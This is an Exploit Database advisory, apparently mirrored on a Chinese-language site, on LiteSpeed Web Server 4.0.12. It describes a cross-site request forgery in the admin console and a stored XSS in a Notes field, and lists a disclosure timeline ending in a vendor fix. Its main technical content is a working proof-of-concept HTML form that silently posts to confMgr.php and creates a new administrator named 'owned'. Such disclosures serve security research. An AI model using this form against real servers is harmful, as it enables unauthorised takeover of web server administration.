Litespeed Web Server 4.0.12 – Cross-Site Request Forgery (Add Admin) / Cross-Site Scripting

• Exploit Database
• 19 阅读

• 作者： d1dn0t
  日期： 2010-02-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11503/

• # Author: d1dn0t (didnot[at]me[dot]com)
  # Software Link:
  http://www.litespeedtech.com/litespeed-web-server-downloads.html
  # Version: 4.0.12
  # Greetz: Muts/Ryujin/Kernel_Saunders
  
  [ 0x00 ] Product Description
  
  LiteSpeed Web Server is the leading high-performance, high-scalability web
  server. It is completely Apache interchangeable so LiteSpeed Web Server
  can quickly replace a major bottleneck in your existing web delivery
  platform. With its comprehensive range of features and easy-to-use
  web administration console, LiteSpeed Web Server can help you
  conquer the challenges of deploying an effective web serving architecture.
  
  [ 0x01 ] Vulnerability Details
  
  The Web based HTTP Admin interface is vulnerable to a CSRF exploit to
  add additional admin users.
  The admin interface also has XSS issues in the Notes field of the
  Virtual Server configuration.
  
  [ 0x02 ] Vulnerability Timeline
  
  2010-02-04 Discovery
  2010-02-04 Initial Disclosure to Vendor
  2010-02-04 Vendor Response, fix in progress
  2010-02-18 Vendor Fix Released
  
  [ 0x03 ] Vulnerability
  
  <form name="csrf" action="http://192.168.1.10:7080/config/confMgr.php"
  method="post" target="hidden">
  <input type="hidden" name="a" value="s" />
  <input type="hidden" name="m" value="admin" />
  <input type="hidden" name="p" value="security" />
  <input type="hidden" name="t" value="`ADMIN_USR_NEW" />
  <input type="hidden" name="r" value="" />
  <input type="hidden" name="file_create" value="" />
  <input type="hidden" name="name" value="owned" />
  <input type="hidden" name="pass" value="password" />
  <input type="hidden" name="pass1" value="password" />
  </form>